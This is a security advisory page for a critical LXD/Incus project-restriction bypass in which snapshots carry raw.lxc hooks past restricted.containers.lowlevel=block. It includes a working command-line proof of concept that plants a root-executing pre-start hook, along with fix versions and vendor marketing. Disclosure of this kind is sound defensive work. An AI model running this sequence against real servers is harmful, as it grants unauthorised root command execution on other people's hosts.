Summary
LXD has restricted project bypass leading to arbitrary command execution
Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
Instance snapshots ignore the restricted.containers.lowlevel=block setting;
allowing for arbitrary command execution on the Incus server by abusing
lowlevel hooks such as raw.lxc and raw.qemu.
Details
Instance snapshots ignore the restricted.containers.lowlevel=block setting;
allowing for arbitrary command execution on the Incus server by abusing
lowlevel hooks such as raw.lxc and raw.qemu.
As snapshots can be moved from one server to another, a malicious
instance+snapshot can be crafted locally, moved to a restricted project
and the snapshot restored for arbitrary command execution.
In practice, this allows a malicious actor to execute arbitrary commands
on the host with root privileges.
PoC
# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block
# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc
# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc
Impact
- Bypass of project restrictions.
- Arbitrary command execution on the Incus server.
The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.
GHSA-47W9-6R3F-938G has a CVSS score of 9.9 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260630083100-c5184be310b1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-47W9-6R3F-938G? GHSA-47W9-6R3F-938G is a critical-severity missing authorization vulnerability in github.com/canonical/lxd (go), affecting versions < 0.0.0-20260630083100-c5184be310b1. It is fixed in 0.0.0-20260630083100-c5184be310b1. The application does not perform an authorization check before performing a sensitive operation.
- How severe is GHSA-47W9-6R3F-938G? GHSA-47W9-6R3F-938G has a CVSS score of 9.9 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/canonical/lxd are affected by GHSA-47W9-6R3F-938G? github.com/canonical/lxd (go) versions < 0.0.0-20260630083100-c5184be310b1 is affected.
- Is there a fix for GHSA-47W9-6R3F-938G? Yes. GHSA-47W9-6R3F-938G is fixed in 0.0.0-20260630083100-c5184be310b1. Upgrade to this version or later.
- Is GHSA-47W9-6R3F-938G exploitable, and should I be worried? Whether GHSA-47W9-6R3F-938G is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-47W9-6R3F-938G is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-47W9-6R3F-938G? Upgrade
github.com/canonical/lxdto 0.0.0-20260630083100-c5184be310b1 or later.